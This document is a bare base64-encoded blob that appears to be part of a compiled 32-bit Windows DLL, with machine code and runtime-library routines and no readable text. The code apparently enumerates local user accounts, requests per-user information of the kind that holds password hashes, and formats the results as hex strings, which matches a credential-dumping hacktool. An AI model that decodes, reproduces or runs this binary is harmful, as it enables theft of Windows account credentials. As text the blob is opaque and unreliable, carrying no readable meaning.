AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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